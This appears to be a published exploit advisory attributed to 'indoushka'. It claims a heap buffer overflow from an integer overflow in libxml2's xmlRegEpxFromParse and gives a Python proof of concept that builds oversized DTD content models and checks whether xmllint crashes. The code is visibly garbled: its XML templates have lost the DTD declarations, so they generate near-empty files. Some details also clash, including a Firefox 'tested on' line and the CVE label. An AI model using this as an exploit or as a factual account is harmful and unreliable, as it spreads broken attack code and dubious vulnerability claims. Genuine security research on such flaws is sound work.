=============================================================================================================================================
| # Title : libxml2 2.9.14 (2022) heap buffer overflow |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://gitlab.gnome.org/GNOME/libxml2 |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/207181/ & CVE-2024-25062
[+] Summary :
A heap buffer overflow vulnerability was identified in libxml2, specifically within the function xmlRegEpxFromParse in xmlregexp.c.
The flaw results from a 32‑bit integer overflow during index calculation in the regular‑expression compilation phase used for DTD validation.
This overflow causes out‑of‑bounds read and write operations on the transitions table, potentially leading to memory corruption or application crashes when processing specially crafted XML content models.
The issue is confirmed in libxml2 version 2.9.14 (2022) and remains present in the latest development version
(HEAD: 4d69f91b25bae1e276bb38a0d91a54bade9e5e72) prior to the security fix. The vulnerability affects all platforms where libxml2 is deployed, including Linux, macOS, Windows, BSD, and embedded systems.
[+] POC :
Python PoC for Generating Malicious XML :
#!/usr/bin/env python3
"""
CVE-2024-25062: libxml2 Heap Buffer Overflow PoC
Integer overflow in xmlRegEpxFromParse function
By indoushka
"""
import sys
import os
import subprocess
def generate_malicious_xml():
"""
Generate XML file with specially crafted DTD to trigger the vulnerability
"""
# Magic number to trigger integer overflow
NUM_ELEMENTS = 46341
print(f"[+] Generating malicious XML with {NUM_ELEMENTS} elements...")
# Create element names
element_names = [f"a{i}" for i in range(NUM_ELEMENTS)]
# Content model - very long sequence
content_model = ",".join(element_names)
# Element declarations
element_decls = "\n".join(f" " for name in element_names)
# Complete XML content
xml_content = f'''
{element_decls}
]>
{' '.join(f'<{name}/>' for name in element_names[:100])}
'''
return xml_content
def generate_optimized_poc():
"""
Optimized PoC version using fewer elements while maintaining the effect
"""
# Try different sizes to find minimum required
test_sizes = [46341, 40000, 32768, 30000]
for size in test_sizes:
print(f"[+] Testing with {size} elements...")
element_names = [f"el{i}" for i in range(size)]
content_model = ",".join(element_names)
xml_content = f'''
{"".join(f'' for i in range(size))}
]>
'''
filename = f"poc_{size}.xml"
with open(filename, "w") as f:
f.write(xml_content)
print(f"[+] Created: {filename}")
def create_simple_poc():
"""
Create simplified PoC for quick testing
"""
NUM_ELEMENTS = 46341
element_names = [f"x{i}" for i in range(NUM_ELEMENTS)]
content_model = ",".join(element_names[:NUM_ELEMENTS])
xml_content = f'''
{"".join(f'' for i in range(NUM_ELEMENTS))}
]>
'''
with open("simple_poc.xml", "w") as f:
f.write(xml_content)
print("[+] Created: simple_poc.xml")
def test_with_xmllint():
"""
Automatically test the generated PoC with xmllint
"""
print("[+] Testing with xmllint...")
# Generate the malicious XML
xml_content = generate_malicious_xml()
with open("test_crash.xml", "w") as f:
f.write(xml_content)
# Try to find xmllint
xmllint_paths = [
"./libxml2/.libs/xmllint",
"/usr/bin/xmllint",
"xmllint"
]
xmllint = None
for path in xmllint_paths:
if os.path.exists(path) or subprocess.run(["which", path.split('/')[-1]], capture_output=True).returncode == 0:
xmllint = path
break
if not xmllint:
print("[-] xmllint not found")
return
print(f"[+] Using xmllint at: {xmllint}")
# Run the test
try:
result = subprocess.run(
[xmllint, "--valid", "test_crash.xml"],
capture_output=True,
text=True,
timeout=10
)
if result.returncode != 0:
print("[+] SUCCESS: xmllint crashed or returned error (vulnerable)")
print(f" Return code: {result.returncode}")
if result.stderr:
print(f" Error: {result.stderr[:200]}...")
else:
print("[-] UNEXPECTED: xmllint processed file without crash")
except subprocess.TimeoutExpired:
print("[+] SUCCESS: xmllint timed out (possibly vulnerable)")
except Exception as e:
print(f"[+] Exception during testing: {e}")
if __name__ == "__main__":
print("=" * 60)
print("libxml2 Heap Buffer Overflow PoC - CVE-2024-25062")
print("Integer overflow in xmlRegEpxFromParse")
print("By indoushka")
print("=" * 60)
if len(sys.argv) > 1:
if sys.argv[1] == "simple":
create_simple_poc()
elif sys.argv[1] == "optimized":
generate_optimized_poc()
elif sys.argv[1] == "test":
test_with_xmllint()
else:
# Create single file
xml_content = generate_malicious_xml()
with open("malicious.xml", "w") as f:
f.write(xml_content)
print("[+] Created: malicious.xml")
else:
# Default: create all test files
generate_optimized_poc()
print("\n[+] Usage instructions:")
print(" python3 poc.py optimized # Generate test files")
print(" python3 poc.py test # Auto-test with xmllint")
print(" xmllint --valid poc_46341.xml")
print(" OR")
print(" python3 poc.py | xmllint --valid -")
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================